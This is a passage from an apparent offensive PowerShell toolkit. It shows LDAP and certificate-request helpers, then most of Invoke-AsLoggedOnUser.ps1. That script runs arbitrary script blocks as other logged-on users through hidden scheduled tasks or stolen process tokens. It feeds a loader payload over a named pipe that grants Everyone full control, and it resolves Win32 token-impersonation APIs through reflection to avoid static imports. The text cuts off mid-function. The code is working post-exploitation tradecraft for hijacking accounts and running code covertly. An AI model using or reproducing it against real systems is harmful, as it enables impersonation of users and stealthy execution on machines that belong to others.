$objPkcs10.X509Extensions.Add($sanExtension) 285 | } 286 | $objDN = New-Object -ComObject "X509Enrollment.CX500DistinguishedName" 287 | try { 288 | $objDN.Encode($SubjectName, 0) # 0 = XCN_CERT_NAME_STR_NONE 289 | } 290 | catch { 291 | $objDN.Encode($SubjectName, 0x40000000) # 0x40000000 = XCN_CERT_NAME_STR_SEMICOLON_FLAG 292 | } 293 | $objPkcs10.Subject = $objDN 294 | $objEnroll = New-Object -ComObject "X509Enrollment.CX509Enrollment" 295 | $objEnroll.InitializeFromRequest($objPkcs10) 296 | $base64request = $objEnroll.CreateRequest(1) # 1 = XCN_CRYPT_STRING_BASE64 297 | $certificateRequest = @{ 298 | Request = $base64request 299 | PrivateKeyPem = $privateKeyPEM 300 | } 301 | return (New-Object PSObject -Property $certificateRequest) 302 | } 303 | } 304 | 305 | Function Local:Get-IssuedCertificate { 306 | Param ( 307 | [String] 308 | $CertificateAuthority, 309 | 310 | [String] 311 | $CertificateRequest, 312 | 313 | [Management.Automation.PSCredential] 314 | [Management.Automation.Credential()] 315 | $Credential = [Management.Automation.PSCredential]::Empty 316 | ) 317 | $certificate = $null 318 | $requestID = 0 319 | $objCertRequest = New-Object -ComObject CertificateAuthority.Request 320 | if ($Credential.Username) { 321 | $CertRequest.SetCredential([Int] $null, 4, $Credential.UserName, [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($Credential.Password))) 322 | } 323 | $flags = 0x1 # CR_IN_BASE64 324 | If ($MachineContext) { 325 | $flags = $flags -bor 0x100000 # CR_IN_MACHINE 326 | } 327 | $status = $objCertRequest.Submit($flags, $CertificateRequest, "", $CertificateAuthority) 328 | if ($status -eq 0x3) { 329 | $requestID = $objCertRequest.GetRequestId() 330 | $status = $objCertRequest.RetrievePending($RequestID, $CertificateAuthority) 331 | if ($status -eq 0x3) { 332 | $certificate = $objCertRequest.GetCertificate(0x0) 333 | } 334 | else { 335 | $statusMessage = (New-Object ComponentModel.Win32Exception($objCertRequest.GetLastStatus())).Message 336 | $statusCode = "0x" + ('{0:x}' -f $objCertRequest.GetLastStatus()) 337 | Write-Error "The certificate retrieval failed (disposition $status). $statusMessage ($statusCode)" 338 | } 339 | } 340 | else { 341 | $statusMessage = (New-Object ComponentModel.Win32Exception($objCertRequest.GetLastStatus())).Message 342 | $statusCode = "0x" + ('{0:x}' -f $objCertRequest.GetLastStatus()) 343 | Write-Error "The certificate request failed (disposition $status). $statusMessage ($statusCode)" 344 | } 345 | [Runtime.Interopservices.Marshal]::ReleaseComObject($objCertRequest) | Out-Null 346 | return $certificate 347 | } 348 | 349 | Function Local:Get-LdapCurrentUser { 350 | Param ( 351 | [String] 352 | $Server = $Env:USERDNSDOMAIN, 353 | 354 | [Switch] 355 | $SSL, 356 | 357 | [ValidateNotNullOrEmpty()] 358 | [Management.Automation.PSCredential] 359 | [Management.Automation.Credential()] 360 | $Credential = [Management.Automation.PSCredential]::Empty 361 | ) 362 | 363 | try { 364 | [Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null 365 | if ($SSL) { 366 | $searcher = New-Object -TypeName DirectoryServices.Protocols.LdapConnection -ArgumentList "$($Server):636" 367 | $searcher.SessionOptions.SecureSocketLayer = $true 368 | $searcher.SessionOptions.VerifyServerCertificate = {$true} 369 | } 370 | else { 371 | $searcher = New-Object -TypeName DirectoryServices.Protocols.LdapConnection -ArgumentList $Server 372 | } 373 | if ($Credential.UserName) { 374 | $searcher.Credential = $Credential 375 | } 376 | 377 | # LDAP_SERVER_WHO_AM_I_OID = 1.3.6.1.4.1.4203.1.11.3 378 | $extRequest = New-Object -TypeName DirectoryServices.Protocols.ExtendedRequest "1.3.6.1.4.1.4203.1.11.3" 379 | $resp = [Text.Encoding]::ASCII.GetString($searcher.SendRequest($extRequest).ResponseValue) 380 | [pscustomobject] @{ 381 | "NetbiosName" = $($resp.split('\')[0].split(':')[-1]) 382 | "UserName" = $($resp.split('\')[1]) 383 | } 384 | } 385 | catch { 386 | Write-Error $_ 387 | } 388 | } 389 | 390 | Function Local:Get-LdapRootDSE { 391 | Param ( 392 | [ValidateNotNullOrEmpty()] 393 | [String] 394 | $Server = $Env:USERDNSDOMAIN, 395 | 396 | [Switch] 397 | $SSL 398 | ) 399 | 400 | $searchString = "LDAP://$Server/RootDSE" 401 | if ($SSL) { 402 | # Note that the server certificate has to be trusted 403 | $authType = [DirectoryServices.AuthenticationTypes]::SecureSocketsLayer 404 | } 405 | else { 406 | $authType = [DirectoryServices.AuthenticationTypes]::Anonymous 407 | } 408 | $rootDSE = New-Object DirectoryServices.DirectoryEntry($searchString, $null, $null, $authType) 409 | return $rootDSE 410 | } 411 | 412 | Function Local:Get-LdapObject { 413 | Param ( 414 | [ValidateNotNullOrEmpty()] 415 | [String] 416 | $Server = $Env:USERDNSDOMAIN, 417 | 418 | [Switch] 419 | $SSL, 420 | 421 | [ValidateNotNullOrEmpty()] 422 | [String] 423 | $SearchBase, 424 | 425 | [ValidateSet('Base', 'OneLevel', 'Subtree')] 426 | [String] 427 | $SearchScope = 'Subtree', 428 | 429 | [ValidateNotNullOrEmpty()] 430 | [String] 431 | $Filter = '(objectClass=*)', 432 | 433 | [ValidateNotNullOrEmpty()] 434 | [String[]] 435 | $Properties = '*', 436 | 437 | [ValidateRange(1,10000)] 438 | [Int] 439 | $PageSize = 200, 440 | 441 | [ValidateNotNullOrEmpty()] 442 | [Management.Automation.PSCredential] 443 | [Management.Automation.Credential()] 444 | $Credential = [Management.Automation.PSCredential]::Empty 445 | ) 446 | 447 | Begin { 448 | if ((-not $SearchBase) -or $SSL) { 449 | # Get default naming context 450 | try { 451 | $rootDSE = Get-LdapRootDSE -Server $Server 452 | $defaultNC = $rootDSE.defaultNamingContext[0] 453 | } 454 | catch { 455 | Write-Error "Domain controller unreachable" 456 | continue 457 | } 458 | if (-not $SearchBase) { 459 | $SearchBase = $defaultNC 460 | } 461 | } 462 | } 463 | 464 | Process { 465 | try { 466 | if ($SSL) { 467 | $results = @() 468 | $domain = $defaultNC -replace 'DC=' -replace ',','.' 469 | [Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null 470 | $searcher = New-Object -TypeName System.DirectoryServices.Protocols.LdapConnection -ArgumentList "$($Server):636" 471 | $searcher.SessionOptions.SecureSocketLayer = $true 472 | $searcher.SessionOptions.VerifyServerCertificate = {$true} 473 | $searcher.SessionOptions.DomainName = $domain 474 | $searcher.AuthType = [DirectoryServices.Protocols.AuthType]::Negotiate 475 | if ($Credential.UserName) { 476 | $searcher.Bind($Credential) 477 | } 478 | else { 479 | $searcher.Bind() 480 | } 481 | if ($Properties -ne '*') { 482 | $request = New-Object -TypeName System.DirectoryServices.Protocols.SearchRequest($SearchBase, $Filter, $SearchScope, $Properties) 483 | } 484 | else { 485 | $request = New-Object -TypeName System.DirectoryServices.Protocols.SearchRequest($SearchBase, $Filter, $SearchScope) 486 | } 487 | $pageRequestControl = New-Object -TypeName System.DirectoryServices.Protocols.PageResultRequestControl -ArgumentList $PageSize 488 | $request.Controls.Add($pageRequestControl) | Out-Null 489 | $response = $searcher.SendRequest($request) 490 | while ($true) { 491 | $response = $searcher.SendRequest($request) 492 | if ($response.ResultCode -eq 'Success') { 493 | foreach ($entry in $response.Entries) { 494 | $results += $entry 495 | } 496 | } 497 | $pageResponseControl = [DirectoryServices.Protocols.PageResultResponseControl]$response.Controls[0] 498 | if ($pageResponseControl.Cookie.Length -eq 0) { 499 | break 500 | } 501 | $pageRequestControl.Cookie = $pageResponseControl.Cookie 502 | } 503 | 504 | } 505 | else { 506 | $adsPath = "LDAP://$Server/$SearchBase" 507 | if ($Credential.UserName) { 508 | $domainObject = New-Object DirectoryServices.DirectoryEntry($adsPath, $Credential.UserName, $Credential.GetNetworkCredential().Password) 509 | $searcher = New-Object DirectoryServices.DirectorySearcher($domainObject) 510 | } 511 | else { 512 | $searcher = New-Object DirectoryServices.DirectorySearcher([ADSI]$adsPath) 513 | } 514 | $searcher.SearchScope = $SearchScope 515 | $searcher.PageSize = $PageSize 516 | $searcher.CacheResults = $false 517 | $searcher.filter = $Filter 518 | $propertiesToLoad = $Properties | ForEach-Object {$_.Split(',')} 519 | $searcher.PropertiesToLoad.AddRange($propertiesToLoad) | Out-Null 520 | $results = $searcher.FindAll() 521 | } 522 | } 523 | catch { 524 | Write-Error $_ 525 | continue 526 | } 527 | 528 | $results | Where-Object {$_} | ForEach-Object { 529 | if (Get-Member -InputObject $_ -name "Attributes" -Membertype Properties) { 530 | # Convert DirectoryAttribute object (LDAPS results) 531 | $p = @{} 532 | foreach ($a in $_.Attributes.Keys | Sort-Object) { 533 | $values = @() 534 | foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { 535 | $values += [Text.Encoding]::UTF8.GetString($v) 536 | } 537 | $p[$a] = $values 538 | } 539 | } 540 | else { 541 | $p = $_.Properties 542 | } 543 | $objectProperties = @{} 544 | $p.Keys | ForEach-Object { 545 | if (($_ -ne 'adspath') -and ($p[$_].count -eq 1)) { 546 | $objectProperties[$_] = $p[$_][0] 547 | } 548 | elseif ($_ -ne 'adspath') { 549 | $objectProperties[$_] = $p[$_] 550 | } 551 | } 552 | New-Object -TypeName PSObject -Property ($objectProperties) 553 | } 554 | } 555 | 556 | End { 557 | if ($results -and -not $SSL) { 558 | $results.dispose() 559 | } 560 | if ($searcher) { 561 | $searcher.dispose() 562 | } 563 | } 564 | } 565 | 566 | Add-Type -AssemblyName System.DirectoryServices.AccountManagement 567 | -------------------------------------------------------------------------------- /Invoke-AsLoggedOnUser.ps1: -------------------------------------------------------------------------------- 1 | Function Invoke-AsLoggedOnUser { 2 | <# 3 | .SYNOPSIS 4 | Invoke PowerShell script block as an account which is logged on the local computer. 5 | 6 | Author: Timothee MENOCHET (@_tmenochet) 7 | 8 | .DESCRIPTION 9 | Invoke-AsLoggedOnUser runs PowerShell script block on local computer via scheduled task or token impersonation and retrieves output via a named pipe. 10 | 11 | .PARAMETER ScriptBlock 12 | Specifies the PowerShell script block to run. 13 | 14 | .PARAMETER ArgumentList 15 | Specifies the PowerShell script block arguments. 16 | 17 | .PARAMETER Method 18 | Specifies the execution method to use, defaults to ScheduledTask. 19 | 20 | .PARAMETER Identity 21 | Specifies the accounts to use for remote execution, defaults to all logged on users. 22 | 23 | .EXAMPLE 24 | PS C:\> Invoke-AsLoggedOnUser -ScriptBlock {whoami} -Identity 'ADATUM\testuser' 25 | #> 26 | 27 | [CmdletBinding()] 28 | Param ( 29 | [Parameter(Mandatory = $true)] 30 | [ScriptBlock] 31 | $ScriptBlock, 32 | 33 | [Object[]] 34 | $ArgumentList, 35 | 36 | [ValidateSet('ScheduledTask', 'Token')] 37 | [String] 38 | $Method = 'ScheduledTask', 39 | 40 | [String[]] 41 | $Identity = '*' 42 | ) 43 | 44 | $loggedonUsers = @() 45 | if ($Identity -eq '*') { 46 | Get-WmiObject -ClassName Win32_LogonSession -Verbose:$false | Where-Object {$_.LogonType -ne 3} | ForEach-Object { 47 | $session = $_ 48 | try { 49 | $loggedonUsers += (Get-WmiObject -Query "Associators of {Win32_LogonSession.LogonId=$($session.LogonId)} Where AssocClass=Win32_LoggedOnUser Role=Dependent").Name 50 | } 51 | catch [Microsoft.Management.Infrastructure.CimException] { 52 | break 53 | } 54 | } 55 | $loggedonUsers = $loggedonUsers | Select -Unique 56 | } 57 | else { 58 | $loggedonUsers += $Identity 59 | } 60 | 61 | foreach ($loggedonUser in $loggedonUsers) { 62 | # Init variables 63 | $timeout = 10000 # 10s 64 | $pipeName = [guid]::NewGuid().Guid 65 | $Global:output = $null 66 | 67 | # Build loader 68 | $loader = '' 69 | $loader += '$c = New-Object IO.Pipes.NamedPipeClientStream(''.'', ''' + $pipeName + ''', [IO.Pipes.PipeDirection]::InOut); ' 70 | $loader += '$c.Connect(' + $timeout + '); ' 71 | $loader += '$r = New-Object IO.StreamReader $c; ' 72 | $loader += '$x = ''''; ' 73 | $loader += 'while (($y=$r.ReadLine()) -ne ''''){$x+=$y+[Environment]::NewLine}; ' 74 | $loader += '$z = [ScriptBlock]::Create($x); ' 75 | $loader += '& $z' 76 | $arguments = '-NoP -NonI -C "' + $loader + '"' 77 | 78 | # Build payload 79 | $script = '' 80 | $script += '[ScriptBlock]$scriptBlock = {' + $ScriptBlock.Ast.Extent.Text + '}' + [Environment]::NewLine -replace '{{','{' -replace '}}','}' 81 | if ($ArgumentList) { 82 | $args = $ArgumentList -join ',' 83 | $script += '$args = ' + $args + [Environment]::NewLine 84 | } 85 | else { 86 | $script += '$args = $null' + [Environment]::NewLine 87 | } 88 | $script += '$output = [Management.Automation.PSSerializer]::Serialize(((New-Module -ScriptBlock $scriptBlock -ArgumentList $args -ReturnResult) *>&1))' + [Environment]::NewLine 89 | $script += '$encOutput = [char[]]$output' + [Environment]::NewLine 90 | $script += '$writer = [IO.StreamWriter]::new($c)' + [Environment]::NewLine 91 | $script += '$writer.AutoFlush = $true' + [Environment]::NewLine 92 | $script += '$writer.WriteLine($encOutput)' + [Environment]::NewLine 93 | $script += '$writer.Dispose()' + [Environment]::NewLine 94 | $script += '$r.Dispose()' + [Environment]::NewLine 95 | $script += '$c.Dispose()' + [Environment]::NewLine 96 | $script = $script -creplace '(?m)^\s*\r?\n','' 97 | $payload = [char[]] $script 98 | 99 | # Create named pipe server 100 | try { 101 | $everyoneSid = New-Object Security.Principal.SecurityIdentifier([Security.Principal.WellKnownSidType]::WorldSid, $null) 102 | $accessRule = New-Object IO.Pipes.PipeAccessRule($everyoneSid, "FullControl", "Allow") 103 | $pipeSecurity = New-Object IO.Pipes.PipeSecurity 104 | $pipeSecurity.AddAccessRule($accessRule) 105 | $pipeServer = New-Object IO.Pipes.NamedPipeServerStream($pipeName, [IO.Pipes.PipeDirection]::InOut, 1, [IO.Pipes.PipeTransmissionMode]::Byte, [IO.Pipes.PipeOptions]::Asynchronous, 32768, 32768, $pipeSecurity) 106 | $serverCallback = [AsyncCallback] { 107 | Param ([IAsyncResult] $iar) 108 | try { 109 | Write-Verbose "Client connected to named pipe server \\.\pipe\$pipeName..." 110 | $pipeServer.EndWaitForConnection($iar) 111 | Write-Verbose "Delivering payload..." 112 | $writer = New-Object IO.StreamWriter($pipeServer) 113 | $writer.AutoFlush = $true 114 | $writer.WriteLine($payload) 115 | Write-Verbose "Getting execution output..." 116 | $reader = New-Object IO.StreamReader($pipeServer) 117 | $output = '' 118 | while (($data = $reader.ReadLine()) -ne $null) { 119 | $output += $data + [Environment]::NewLine 120 | } 121 | $Global:output = ([Management.Automation.PSSerializer]::Deserialize($output)) 122 | } 123 | catch { 124 | Write-Verbose "Error occured. $_" 125 | } 126 | finally { 127 | if ($reader) { 128 | $reader.Dispose() 129 | } 130 | } 131 | } 132 | $runspacedDelegate = [RunspacedDelegateFactory]::NewRunspacedDelegate($serverCallback, [Runspace]::DefaultRunspace) 133 | $job = $pipeServer.BeginWaitForConnection($runspacedDelegate, $null) 134 | } 135 | catch { 136 | if ($pipeServer) { 137 | $pipeServer.Close() 138 | $pipeServer.Dispose() 139 | } 140 | Write-Error "Pipe named server failed to start. $_" -ErrorAction Stop 141 | } 142 | 143 | switch ($Method) { 144 | 'ScheduledTask' { 145 | Invoke-ScheduledTaskCmd -Command 'powershell' -Arguments $arguments -WorkingDirectory '%windir%\System32\WindowsPowerShell\v1.0\' -Identity $loggedonUser 146 | } 147 | 'Token' { 148 | Invoke-TokenCmd -Command 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -Arguments $arguments -Identity $loggedonUser 149 | } 150 | } 151 | 152 | $pipeServer.Close() 153 | $pipeServer.Dispose() 154 | Write-Output ($Global:output) 155 | } 156 | } 157 | 158 | Function Local:Invoke-ScheduledTaskCmd { 159 | [CmdletBinding()] 160 | Param ( 161 | [Parameter(Mandatory = $true)] 162 | [String] 163 | $Command, 164 | 165 | [String] 166 | $Arguments, 167 | 168 | [String] 169 | $WorkingDirectory, 170 | 171 | [Parameter(Mandatory = $true)] 172 | [String] 173 | $Identity 174 | ) 175 | 176 | try { 177 | $scheduleService = New-Object -ComObject ('Schedule.Service') 178 | $scheduleService.Connect() 179 | $scheduleTaskFolder = $scheduleService.GetFolder("\") 180 | $taskDefinition = $scheduleService.NewTask(0) 181 | $taskDefinition.Settings.StopIfGoingOnBatteries = $false 182 | $taskDefinition.Settings.DisallowStartIfOnBatteries = $false 183 | $taskDefinition.Settings.Hidden = $true 184 | $taskDefinition.Principal.UserID = $Identity 185 | $taskDefinition.Principal.LogonType = 3 186 | $taskDefinition.Principal.RunLevel = 1 187 | $taskName = [guid]::NewGuid().Guid 188 | $taskAction = $taskDefinition.Actions.Create(0) 189 | $taskAction.WorkingDirectory = $WorkingDirectory 190 | $taskAction.Path = $Command 191 | $taskAction.Arguments = $Arguments 192 | try { 193 | $taskAction.HideAppWindow = $True 194 | } 195 | catch {} 196 | 197 | Write-Verbose "Registering scheduled task $taskName..." 198 | $registeredTask = $scheduleTaskFolder.RegisterTaskDefinition($taskName, $taskDefinition, 6, $Identity, $null, 3) 199 | Write-Verbose "Running scheduled task as $Identity..." 200 | $scheduledTask = $registeredTask.Run($null) 201 | do { 202 | $scheduledTaskInfo = $scheduleTaskFolder.GetTasks(1) | Where-Object Name -eq $scheduledTask.Name; Start-Sleep -Milliseconds 100 203 | } 204 | while ($scheduledTaskInfo.State -eq 3 -and $scheduledTaskInfo.LastTaskResult -eq 267045) 205 | do { 206 | $scheduledTaskInfo = $scheduleTaskFolder.GetTasks(1) | Where-Object Name -eq $scheduledTask.Name; Start-Sleep -Milliseconds 100 207 | } 208 | while ($scheduledTaskInfo.State -eq 4) 209 | if ($scheduledTaskInfo.LastRunTime.Year -ne (Get-Date).Year) { 210 | Write-Warning "Failed to execute scheduled task as $Identity." 211 | } 212 | } 213 | catch { 214 | Write-Error "Task execution failed. $_" 215 | } 216 | finally { 217 | if ($scheduledTask) { 218 | Write-Verbose "Unregistering scheduled task $($taskParameters.TaskName)..." 219 | $scheduleTaskFolder.DeleteTask($scheduledTask.Name, 0) | Out-Null 220 | } 221 | } 222 | } 223 | 224 | Function Local:Invoke-TokenCmd { 225 | [CmdletBinding()] 226 | Param ( 227 | [Parameter(Mandatory = $true)] 228 | [String] 229 | $Command, 230 | 231 | [String] 232 | $Arguments, 233 | 234 | [Parameter(Mandatory = $true)] 235 | [String] 236 | $Identity 237 | ) 238 | 239 | Begin { 240 | Function Local:Get-DelegateType { 241 | Param ( 242 | [OutputType([Type])] 243 | 244 | [Parameter( Position = 0)] 245 | [Type[]] 246 | $Parameters = (New-Object Type[](0)), 247 | 248 | [Parameter( Position = 1 )] 249 | [Type] 250 | $ReturnType = [Void] 251 | ) 252 | $Domain = [AppDomain]::CurrentDomain 253 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 254 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 255 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 256 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [MulticastDelegate]) 257 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [Reflection.CallingConventions]::Standard, $Parameters) 258 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 259 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 260 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 261 | Write-Output $TypeBuilder.CreateType() 262 | } 263 | 264 | Function Local:Get-ProcAddress { 265 | Param ( 266 | [OutputType([IntPtr])] 267 | 268 | [Parameter( Position = 0, Mandatory = $True )] 269 | [String] 270 | $Module, 271 | 272 | [Parameter( Position = 1, Mandatory = $True )] 273 | [String] 274 | $Procedure 275 | ) 276 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 277 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 278 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 279 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null); 280 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 281 | $tmpPtr = New-Object IntPtr 282 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 283 | Write-Output $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef] $HandleRef, $Procedure)) 284 | } 285 | 286 | # Win32Structures 287 | $Domain = [AppDomain]::CurrentDomain 288 | $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') 289 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 290 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) 291 | $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 292 | 293 | # Struct STARTUPINFO 294 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 295 | $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [ValueType]) 296 | $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null 297 | $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null 298 | $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null 299 | $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null 300 | $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null 301 | $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null 302 | $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null 303 | $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null 304 | $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null 305 | $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null 306 | $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null 307 | $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null 308 | $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null 309 | $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null 310 | $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null 311 | $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null 312 | $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null 313 | $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null 314 | $STARTUPINFO = $TypeBuilder.CreateType() 315 | 316 | # Struct PROCESS_INFORMATION 317 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 318 | $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [ValueType]) 319 | $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null 320 | $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null 321 | $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null 322 | $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null 323 | $PROCESS_INFORMATION = $TypeBuilder.CreateType() 324 | 325 | # Struct LUID 326 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 327 | $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [ValueType], 8) 328 | $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null 329 | $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null 330 | $LUID = $TypeBuilder.CreateType() 331 | 332 | # Struct LUID_AND_ATTRIBUTES 333 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 334 | $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [ValueType], 12) 335 | $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null 336 | $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null 337 | $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() 338 | 339 | # Struct TOKEN_PRIVILEGES 340 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 341 | $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [ValueType], 16) 342 | $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null 343 | $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null 344 | $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() 345 | 346 | # Win32Functions 347 | $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess 348 | $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) 349 | $OpenProcess = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) 350 | 351 | $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken 352 | $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) 353 | $OpenProcessToken = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) 354 | 355 | $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx 356 | $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) 357 | $DuplicateTokenEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) 358 | 359 | $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle 360 | $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) 361 | $CloseHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) 362 | 363 | $memsetAddr = Get-ProcAddress msvcrt.dll memset 364 | $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) 365 | $memset = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) 366 | 367 | $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser 368 | $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) 369 | $ImpersonateLoggedOnUser = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate) 370 | 371 | $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf 372 | $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) 373 | $RevertToSelf = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) 374 | 375 | $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW 376 | $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) 377 | $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate) 378 | 379 | $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread 380 | $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) 381 | $GetCurrentThread = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) 382 | 383 | $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken 384 | $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) 385 | $OpenThreadToken = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) 386 | 387 | $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf 388 | $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) 389 | $ImpersonateSelf = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) 390 | 391 | $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA 392 | $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool]) 393 | $LookupPrivilegeValue = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) 394 | 395 | $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll 